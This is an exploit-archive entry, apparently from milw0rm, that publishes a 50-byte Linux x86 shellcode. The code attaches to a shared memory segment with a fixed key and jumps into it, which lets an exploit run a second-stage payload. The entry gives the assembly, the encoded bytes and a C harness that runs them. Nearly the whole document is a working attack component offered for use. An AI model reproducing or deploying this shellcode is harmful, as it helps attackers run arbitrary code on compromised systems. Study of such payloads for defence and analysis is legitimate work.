Linux/x86 - Execute At Shared Memory Shellcode (50 bytes)

/* sloth@nopninjas.com - http://www.nopninjas.com

   Platform: Linux x86
   Length: 50 bytes
     
   - This shellcode connects to the shared memory segment matching the key
     and executes the code at that address. 

        xorl    %edi,%edi
        xorl    %esi,%esi
        xorl    %edx,%edx
        movl    $0xdeadbeef,%ecx       * shared memory key *
        xorl    %ebx,%ebx
        movb    $23,%bl
        xorl    %eax,%eax
        movb    $117,%al
        int     $0x80

        xorl    %edi,%edi
        movl    $0xbffffffa,%esi       * pointer storage location *
        xorl    %edx,%edx
        movl    %eax,%ecx
        xorl    %ebx,%ebx
        movb    $21,%bl
        xorl    %eax,%eax
        movb    $117,%al
        int     $0x80

        movl    $0xbffffffa,%eax       * pointer storage location *
        pushl   (%eax)
        ret

*/

char shm[] = "\x31\xff\x31\xf6\x31\xd2\xb9\xef\xbe\xad\xde\x31\xdb\xb3\x17\x31"
             "\xc0\xb0\x75\xcd\x80\x31\xff\xbe\xfa\xff\xff\xbf\x31\xd2\x89\xc1"
             "\x31\xdb\xb3\x15\x31\xc0\xb0\x75\xcd\x80\xb8\xfa\xff\xff\xbf\xff"
             "\x30\xc3";
              
int main() {
  void (*shell)() = (void *)&shm;
  shell();
}

// milw0rm.com [2004-09-26]